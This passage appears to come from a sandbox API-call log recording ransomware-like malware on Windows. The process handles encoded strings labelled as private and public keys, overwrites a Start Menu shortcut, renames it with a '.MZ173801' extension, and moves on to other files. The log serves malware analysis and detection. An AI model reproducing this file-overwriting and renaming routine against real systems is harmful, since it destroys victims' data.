n/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0213.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0213.304] GetCurrentThreadId () returned 0xab4 [0213.304] GetCurrentThreadId () returned 0xab4 [0213.304] GetCurrentThreadId () returned 0xab4 [0213.304] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0213.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0213.305] GetCurrentThreadId () returned 0xab4 [0213.305] GetCurrentThreadId () returned 0xab4 [0213.305] GetCurrentThreadId () returned 0xab4 [0213.305] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\computer management.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.305] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0213.305] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.305] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x48c [0213.306] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.306] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x48c, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0x48c, lpOverlapped=0x0) returned 1 [0213.308] CloseHandle (hObject=0x330) returned 1 [0213.308] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\computer management.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.309] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x48c, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0x48c, lpOverlapped=0x0) returned 1 [0213.310] CloseHandle (hObject=0x330) returned 1 [0213.310] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\computer management.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\computer management.lnk.mz173801")) returned 1 [0213.311] GetCurrentThreadId () returned 0xab4 [0213.311] GetCurrentThreadId () returned 0xab4 [0213.311] GetCurrentThreadId () returned 0xab4 [0213.311] GetCurrentThreadId () returned 0xab4 [0213.311] GetCurrentThreadId () returned 0xab4 [0213.311] GetCurrentThreadId () returned 0xab4 [0213.311] FindNextFileW (in: hFindFile=0xa1b3b8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a94a259, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x69cb7dde, ftLastAccessTime.dwHighDateTime=0x1d2fa08, ftLastWriteTime.dwLowDateTime=0x69cb7dde, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xa26, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0213.311] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.311] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.311] FindNextFileW (in: hFindFile=0xa1b3b8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x399c4fa7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x399c4fa7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x399c4fa7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="dfrgui.lnk", cAlternateFileName="")) returned 1 [0213.312] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.312] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.312] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\dfrgui.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\dfrgui.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x399c4fa7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x399c4fa7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x399c4fa7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1 [0213.314] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\dfrgui.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\dfrgui.lnk")) returned 0x20 [0213.315] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\dfrgui.lnk", dwFileAttributes=0x80) returned 1 [0213.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0213.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7Dlc